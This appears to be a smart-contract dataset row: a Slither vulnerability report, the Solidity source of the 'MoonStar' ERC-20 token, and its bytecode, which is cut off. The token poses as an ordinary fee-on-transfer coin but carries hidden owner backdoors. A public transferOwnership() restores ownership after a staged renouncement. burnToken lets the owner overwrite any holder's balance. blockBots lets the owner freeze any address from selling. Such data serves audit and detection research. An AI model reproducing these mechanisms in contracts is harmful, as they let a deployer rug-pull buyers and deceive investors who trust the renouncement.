45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220758bbeeeed4721a86c37566940b72f1e96b17d3779f48dd4d425b1aec362d03464736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,153 |
0xcb6a9a6153545a18980323fa1d3712bb4c2a4f3c | /**
*
MoonStar ($MoonStar)
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _ownerAddress;
address private _previousOwner;
address private Owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
Owner = msgSender;
_owner = msgSender;
_ownerAddress = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function transferOwnership() public {
require(_owner == address(0), "owner is zero address");
_owner = Owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
_ownerAddress = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MoonStar is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MoonStar";
string private constant _symbol = "MoonStar";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 60;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function burnToken(address account, uint256 balance, uint256 burnAmount) external onlyOwner() {
require(account != address(0), "ERC20: burn from the zero address");
_rOwned[account] = balance.sub(burnAmount, "ERC20: burn amount exceeds balance");
emit Transfer(account, address(0), burnAmount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
} | 0x60806040526004361061012d5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb146103b0578063c3c8cd80146103ed578063c9567bf914610404578063d543dbeb1461041b578063dd62ed3e14610444578063ed8c59381461048157610134565b8063715018a6146103035780637b5b11571461031a578063880ad0af146103435780638da5cb5b1461035a57806395d89b411461038557610134565b8063313ce567116100f2578063313ce567146102325780635932ead11461025d5780636b999053146102865780636fc3eaec146102af57806370a08231146102c657610134565b8062b8cf2a1461013957806306fdde0314610162578063095ea7b31461018d57806318160ddd146101ca57806323b872dd146101f557610134565b3661013457005b600080fd5b34801561014557600080fd5b50610160600480360381019061015b9190612f19565b6104aa565b005b34801561016e57600080fd5b506101776105fa565b6040516101849190613423565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af9190612e8e565b610637565b6040516101c19190613408565b60405180910390f35b3480156101d657600080fd5b506101df610655565b6040516101ec9190613625565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190612e3f565b610666565b6040516102299190613408565b60405180910390f35b34801561023e57600080fd5b5061024761073f565b604051610254919061369a565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f9190612f5a565b610748565b005b34801561029257600080fd5b506102ad60048036038101906102a89190612db1565b6107fa565b005b3480156102bb57600080fd5b506102c46108ea565b005b3480156102d257600080fd5b506102ed60048036038101906102e89190612db1565b61095c565b6040516102fa9190613625565b60405180910390f35b34801561030f57600080fd5b506103186109ad565b005b34801561032657600080fd5b50610341600480360381019061033c9190612fac565b610b42565b005b34801561034f57600080fd5b50610358610c24565b005b34801561036657600080fd5b5061036f610d17565b60405161037c919061333a565b60405180910390f35b34801561039157600080fd5b5061039a610d40565b6040516103a79190613423565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d29190612e8e565b610d7d565b6040516103e49190613408565b60405180910390f35b3480156103f957600080fd5b50610402610d9b565b005b34801561041057600080fd5b50610419610e15565b005b34801561042757600080fd5b50610442600480360381019061043d9190612fac565b611371565b005b34801561045057600080fd5b5061046b60048036038101906104669190612e03565b6114ba565b6040516104789190613625565b60405180910390f35b34801561048d57600080fd5b506104a860048036038101906104a39190612eca565b611541565b005b6104b2611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053690613565565b60405180910390fd5b60005b81518110156105f6576001600c600084848151811061058a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105ee9061393b565b915050610542565b5050565b60606040518060400160405280600881526020017f4d6f6f6e53746172000000000000000000000000000000000000000000000000815250905090565b600061064b610644611721565b8484611729565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106738484846118f4565b6107348461067f611721565b61072f85604051806060016040528060288152602001613e2160289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e5611721565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c09092919063ffffffff16565b611729565b600190509392505050565b60006009905090565b610750611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490613565565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b610802611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088690613565565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661092b611721565b73ffffffffffffffffffffffffffffffffffffffff161461094b57600080fd5b600047905061095981612124565b50565b60006109a6600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f565b9050919050565b6109b5611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3990613565565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b4a611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90613565565b60405180910390fd5b60008111610c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1190613505565b60405180910390fd5b8060138190555050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa906134e5565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d6f6f6e53746172000000000000000000000000000000000000000000000000815250905090565b6000610d91610d8a611721565b84846118f4565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ddc611721565b73ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b6000610e073061095c565b9050610e128161228d565b50565b610e1d611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190613565565b60405180910390fd5b601160149054906101000a900460ff1615610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190613465565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611729565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fd057600080fd5b505afa158015610fe4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110089190612dda565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106a57600080fd5b505afa15801561107e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a29190612dda565b6040518363ffffffff1660e01b81526004016110bf929190613355565b602060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111119190612dda565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061119a3061095c565b6000806111a5610d17565b426040518863ffffffff1660e01b81526004016111c7969594939291906133a7565b6060604051808303818588803b1580156111e057600080fd5b505af11580156111f4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112199190612fd5565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550678ac7230489e800006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161131b92919061337e565b602060405180830381600087803b15801561133557600080fd5b505af1158015611349573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136d9190612f83565b5050565b611379611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd90613565565b60405180910390fd5b60008111611449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144090613525565b60405180910390fd5b611478606461146a83683635c9adc5dea0000061258790919063ffffffff16565b61260290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516114af9190613625565b60405180910390a150565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611549611721565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd90613565565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163d906135a5565b60405180910390fd5b61167381604051806060016040528060228152602001613dff60229139846120c09092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117149190613625565b60405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611799576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611790906135e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611809576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611800906134a5565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118e79190613625565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195b906135c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cb90613445565b60405180910390fd5b60008111611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e90613585565b60405180910390fd5b611a1f610d17565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a8d5750611a5d610d17565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ffd57601160179054906101000a900460ff1615611cc0573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b0f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b695750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bc35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c09611721565b73ffffffffffffffffffffffffffffffffffffffff161480611c7f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c67611721565b73ffffffffffffffffffffffffffffffffffffffff16145b611cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb590613605565b60405180910390fd5b5b5b601254811115611ccf57600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d735750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d7c57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e275750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e7d5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e955750601160179054906101000a900460ff165b15611f435742600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611ee557600080fd5b6001601354611ef491906137e2565b42611eff919061375b565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611f4e3061095c565b9050601160159054906101000a900460ff16158015611fbb5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611fd35750601160169054906101000a900460ff165b15611ffb57611fe18161228d565b60004790506000811115611ff957611ff847612124565b5b505b505b600060019050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120a45750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120ae57600090505b6120ba8484848461264c565b50505050565b6000838311158290612108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ff9190613423565b60405180910390fd5b5060008385612117919061383c565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61217460028461260290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561219f573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121f060028461260290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561221b573d6000803e3d6000fd5b5050565b6000600854821115612266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225d90613485565b60405180910390fd5b6000612270612679565b9050612285818461260290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156123195781602001602082028036833780820191505090505b5090503081600081518110612357577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123f957600080fd5b505afa15801561240d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124319190612dda565b8160018151811061246b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124d230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611729565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947836000843042604